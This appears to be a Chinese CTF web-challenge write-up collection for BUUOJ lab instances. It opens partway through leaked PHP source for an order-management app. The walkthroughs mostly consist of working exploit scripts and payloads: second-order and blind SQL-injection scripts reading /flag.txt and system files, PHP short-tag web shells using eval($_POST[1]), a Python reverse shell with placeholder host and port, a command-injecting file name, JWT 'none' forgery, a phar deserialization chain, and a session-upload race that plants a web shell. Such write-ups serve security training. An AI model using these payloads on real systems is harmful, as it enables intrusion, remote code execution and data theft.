="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">我正是送钱之人</button > </form > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html > <!--?file =?-->
config.php <?php ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );$DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli ($DATABASE ['host' ],$DATABASE ['username' ],$DATABASE ['password' ],$DATABASE ['dbname' ]);
confirm.php <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = $_POST ["address" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if ($fetch ->num_rows>0 ) { $msg = $user_name ."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db ->prepare ($sql ); $re ->bind_param ("sss" , $user_name , $address , $phone ); $re = $re ->execute (); if (!$re ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>确认订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <img class ="logo " src ="./assets /img /logo -zh .png "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> <a href ="./index .php "> <button class ='btn btn -lg btn -sub btn -white '>返回</button > </a > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
search.php <?php require_once "config.php" ; if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>搜索</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >订单查询</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">查询订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
change.php <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>修改收货地址</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >修改收货地址</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">修改订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
delete.php <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>删除订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >删除订单</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">删除订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb " style ="color :#ffffff ;">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
change.php
中的address
没被过滤,考虑二次注入(注意flag
在文件里),简单写了个脚本
import requestsimport reurl = "http://c252b030-01a3-4a8f-9b73-8f6a8a71bc2f.node4.buuoj.cn:81/" def confirm (username ): url_confirm = url + "confirm.php" data = { 'address' :'a' , 'phone' :'a' , 'user_name' :username } r = requests.post(url=url_confirm,data=data) if username in r.text: print ("[+]" +username+"已提交订单" ) else : print ("[+]订单提交成功" ) def change (username, address ): url_change = url + "change.php" data = { 'address' :address, 'phone' :'a' , 'user_name' :username } requests.post(url=url_change,data=data) r = requests.post(url=url_change,data=data) if "订单修改成功" in r.text: print ("[+]订单修改成功!" ) else : print ("[-]Error!\n" +r.text) def search (username ): url_search = url + "search.php" data = { "phone" :'a' , "user_name" :username } r = requests.post(url=url_search,data=data) return r.text if __name__ == '__main__' : username = "flag" address = "',`address`=(select load_file('/flag.txt'))#" confirm(username) change(username,address) res = search(username) flag = re.findall(r'flag{.*}' ,res)[0 ] print (flag)
[红明谷CTF 2021]write_shell <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); } ?>
采用php短标签
形式即可
http://86b8a10c-6541-4fda-a7d4-89a2f8815a45.node4.buuoj.cn:81/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
然后pwd
看下路径访问即可
[watevrCTF-2019]Cookie Store 修改Cookie
即可
[网鼎杯 2020 白虎组]PicDown 非预期 /page?url=../../../../flag
正常解 /page?url=../../../../app/app.py
得到源码
from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
读取密钥
/page?url=../../../../proc/self/fd/3
反弹shell即可
/no_one_know_the_manager?key=oWrYaRx%2FzaROwW9ZmmsUCf%2BCC5I5Wxj6vUznsHum7pI%3D&shell=export%20RHOST%3D%22your-ip%22%3Bexport%20RPORT%3Dyour-port%3Bpython2%20-c%20'import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket()%3Bs.connect((os.getenv(%22RHOST%22)%2Cint(os.getenv(%22RPORT%22))))%3B%5Bos.dup2(s.fileno()%2Cfd)%20for%20fd%20in%20(0%2C1%2C2)%5D%3Bpty.spawn(%22sh%22)'
[HITCON 2017]SSRFme 看一下目录
/?url=/&filename=evo1 /sandbox/{md5("orange" . $_SERVER["REMOTE_ADDR"])}/evo1
发现有readflag
,参考这个博客
先新建一个名为"bash -c /readflag|"的文件,用于之后的命令执行 /?url=&filename=bash -c /readflag| 再利用GET执行bash -c /readflag保存到flag文件 /?url=file:bash -c /readflag|&filename=flag 读取 /sandbox/{md5("orange" . $_SERVER["REMOTE_ADDR"])}/flag
[b01lers2020]Welcome to Earth 一路查看源码到/fight/
这个页面下,发现js
有
function scramble (flag, key ) { for (var i = 0 ; i < key.length ; i++) { let n = key.charCodeAt (i) % flag.length ; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; } function check_action ( ) { var action = document .getElementById ("action" ).value ; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
flag
是个有意义的字符串,猜一下就出来了
pctf{hey_boys_im_baaaaaaaaaack!}
也可以全排列找一下,贴一下网上的脚本
from itertools import permutationsflag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for i in item: k = '' .join(list (i)) if k.startswith('pctf{hey_boys' ) and k[-1 ] == '}' : print (k)
[CISCN2019 总决赛 Day2 Web1]Easyweb 在robots.txt
中看到*.php.bak
,进而下载image.php.bak
<?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
可以下载文件
/image.php?id=\0&path=union select 1,0x757365722e706870-- -
选择盲注获得帐号密码(简单说一下,payload其实就是用反斜杠去修饰'
从而把一部分语句整体当作字符串,进而把后面自己的语句拼接进来)
import requestsimport reimport timeurl = "http://366d577d-9b43-415c-bb7d-2000a0740d85.node4.buuoj.cn:81/image.php" flag = '' for i in range (1 ,60 ): l = 32 r = 127 while l < r: mid = (l+r)>>1 if (mid==l): flag += chr (mid) print (flag) break params = { "path" :" and if(ascii(substr((select group_concat(password)from users),{},1))<{},1,0)#" .format (i,mid), "id" :"1\\0" } time.sleep(0.1 ) response = requests.get(url=url,params=params) if "JFIF" in response.text: r = mid else : l = mid if flag[-1 ] == ' ' or flag[-1 ] == '}' : break
用admin:9f73c6a30158bf8ea651
直接登录,随便上传一下发现
I logged the file name you uploaded to logs/upload.b43e8deb615da0ea8c6d578b322190ae.log.php. LOL
访问后发现他会记录你上传的文件名字,用短标签就可以绕过检测
filename="<?=eval($_POST[1]);?>"
然后访问对应log
位置执行1=system(cat /flag);
即可
[HFCTF2020]EasyLogin 在/static/js/app.js
中发现采用的koa
框架,搜索后发现其常用路径为
访问后获取到源码
const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
审计后发现伪造jwt
即可
import jwttoken = jwt.encode({"secretid" : [],"username" : "admin" ,"password" : "evo1" ,"iat" : 1689834761 },algorithm="none" ,key="" ) print (token)
访问api/login
后带着相应Cookie
去访问api/flag
即可
[GYCTF2020]Ezsqli 过滤了一些字符,盲注一下,要注意的是查表要用sys.schema_table_statistics_with_buffer
,因为information_schema
被过滤了,然后使用过滤了union
的无列名注入获取flag
import requestsimport reimport timeurl = "http://43b852f8-5f89-433d-b70f-1e456f01ecd3.node4.buuoj.cn:81/index.php" flag = '' for i in range (1 ,60 ): l = 32 r = 127 while l < r: mid = (l+r)>>1 if (mid==l): flag += chr (mid) print (flag) break data = { "id" :"if((select * from f1ag_1s_h3r3_hhhhh)<(1,'{}'),1,2)" .format (flag+chr (mid)) } time.sleep(0.5 ) response = requests.post(url=url,data=data) if "Nu1L" in response.text: r = mid else : l = mid if flag[-1 ] == ' ' or flag[-1 ] == '}' : break
[SWPUCTF 2018]SimplePHP 在file.php
查看各个文件源码
index.php <?php header ("content-type:text/html;charset=utf-8" ); include 'base.php' ;?>
base.php <?php session_start (); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" > <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js" ></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js" ></script> </head> <body> <nav class ="navbar navbar -default " role ="navigation "> <div class ="container -fluid "> <div class ="navbar -header "> <a class ="navbar -brand " href ="index .php ">首页</a > </div > <ul class ="nav navbar -nav navbra -toggle "> <li class ="active "><a href ="file .php ?file =">查看文件</a ></li > <li ><a href ="upload_file .php ">上传文件</a ></li > </ul > <ul class ="nav navbar -nav navbar -right "> <li ><a href ="index .php "><span class ="glyphicon glyphicon -user "></span ><?php echo $_SERVER ['REMOTE_ADDR '];?></a ></li > </ul > </div > </nav > </body > </html > <!--flag is in f1ag .php -->
function.php <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
file.php <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
upload_file.php <?php include 'function.php' ; upload_file (); ?> <html> <head> <meta charest="utf-8" > <title>文件上传</title> </head> <body> <div align = "center" > <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data" > <label for ="file" >文件名:</label> <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="提交" > </div> </script> </body> </html>
审计后发现使用phar
协议解题,寻找可用POP
链条
file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()
编写脚本
<?php class C1e4r { public $test ; public $str ; public function __construct ( ) { $this ->str = new Show (); } } class Show { public $source ; public $str ; public function __construct ( ) { $this ->str['str' ] = new Test (); } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array ('source' =>'/var/www/html/f1ag.php' ); } } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new C1e4r ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "evo1ution" ); $phar ->stopBuffering ();?>
修改phar.phar
后缀为.jpg
上传,在/upload
目录下找到上传的文件的名称,结合file.php
即可获得flag
/file.php?file=phar://upload/42574e9d70ad4a54c530fd9a294a46dc.jpg
[NCTF2019]SQLi 访问/robots.txt
发现/hint.txt
,访问后获取到提示
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i" ;If $_POST ['passwd' ] === admin's password, Then you will get the flag;
登陆后发现没东西,还是要注密码(这里说一下%00虽然被过滤了,但是直接输入%00可以防止二次编码,进而达到截断的作用)
passwd=||/**/1;%00&username=a\
用正则去注密码
import requestsimport reimport timefrom urllib import parseimport stringalphabet = '_' + string.ascii_lowercase + string.digits url = "http://b56aae62-943a-4d88-9c57-c3f29054954b.node4.buuoj.cn:81/index.php" passwd = '' for i in range (1 ,60 ): for j in alphabet: data = { 'passwd' :'||/**/passwd/**/regexp("^{}");{}' .format (passwd+j,parse.unquote('%00' )), 'username' :'a\\' } time.sleep(0.1 ) response = requests.post(url=url,data=data) if response.status_code == 404 : passwd += j print (passwd) break
登录即可
passwd=you_will_never_know7788990&username=evo1
[RootersCTF2019]I_<3_Flask 用Arjun 爆破下得到参数name
,直接打没过滤的ssti即可
发布后会提示登陆,发现帐号给了密码还剩三位,爆破下可以得到账号密码为zhangwei:zhangwei666
,登陆进去也不知道干嘛,扫一下发现git
源码泄露,使用git_extract 下载下来,有两个文件,一份残缺的一份完整的
<?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); header ("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes ($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query ($sql ); $num = mysql_num_rows ($result ); if ($num >0 ){ $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql ); } header ("Location: ./comment.php?id=$bo_id " ); break ; default : header ("Location: ./index.php" ); } } else { header ("Location: ./index.php" ); } ?>
二次注入,先写留言存进去,然后留言的时候闭合上前面的注释符即可
留言均为*/#即可 查看user title=user2&category=evo1',content=user(),/*&content=c
发现是root@localhost
,权限很高,估计flag
不在数据库里,读一下/etc/passwd
,发现有www
用户,去读一下其配置
title=www&category=evo1',content=(select (load_file("/home/www/.bash_history"))),/*&content=c cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
看到有个html.zip
里有个.DS_Store
被解压复制后又删除了,但应该在tmp
里还有,去读一下
title=www&category=evo1',content=(select (load_file("/tmp/html/.DS_Store"))),/*&content=c 读不全,用十六进制 title=ds_store&category=evo1',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*&content=c
解码后发现flag_8946e1ff1ee3e40f.php
,直接读取然后解码即可
title=flag&category=evo1',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*&content=c
[NPUCTF2020]ezinclude 查看源码发现
先发送空user
看一下secret
的md5
值
发现Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a;
,直接把这个哈希值放到pass
即可
/?name=&pass=fa25e54758d5d5c1927781a6ede89f8a
发现window.location.href="flflflflag.php";
,抓包访问可以看到
<html > <head > <script language ="javascript" type ="text/javascript" > window .location .href ="404.html" ; </script > <title > this_is_not_fl4g_and_出题人_wants_girlfriend</title > </head > <> <body > include($_GET["file"])</body > </html >
各个文件都读一下,都没啥用,用/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
读一下flflflflag.php
的源码
<?php $file =$_GET ['file' ];if (preg_match ('/data|input|zip/is' ,$file )){ die ('nonono' ); } @include ($file ); echo 'include($_GET["file"])' ;?>
方法一 直接条件竞争
import requestsimport threadingimport sysimport iosession=requests.session() sess='evo1' url1="http://987fa2c2-bccf-4ed3-983b-0a41f044d15d.node4.buuoj.cn:81/flflflflag.php" url2='http://987fa2c2-bccf-4ed3-983b-0a41f044d15d.node4.buuoj.cn:81/flflflflag.php?file=/tmp/sess_' + sess data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' } data2={ '1' :"file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');" } file = {"file" :('a.txt' , io.BytesIO(b'a' * 1024 * 50 ))} cookies={ 'PHPSESSID' : sess } def write (): while True : r = session.post(url1,data=data1,files=file,cookies=cookies) def read (): while True : r = session.post(url2,data=data2) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
然后1.php
下查看phpinfo
即可
方法二 爆破一下路径会得到一个dir.php
<?php var_dump (scandir ('/tmp' ));?>
这个文件可以打印出/tmp
目录下的文件名,可以利用CVE-2018-14884
import requestsimport iourl = "http://acd4af22-f5d2-4e83-98e7-3d3f4003b0ff.node4.buuoj.cn:81/" payload = "<?php eval($_POST[1]);?>" file = {'file' : io.BytesIO(payload.encode())} url += "flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" r=requests.post(url=url,files=file)
查看文件名
/flflflflag.php?file=dir.php
包含对应文件即可
/flflflflag.php?file=/tmp/phpK70enE POST: 1=phpinfo();
[HarekazeCTF2019]encode_and_encode json_decode
会将\uxxx
进行转义,所以利用unicode
绕过即可
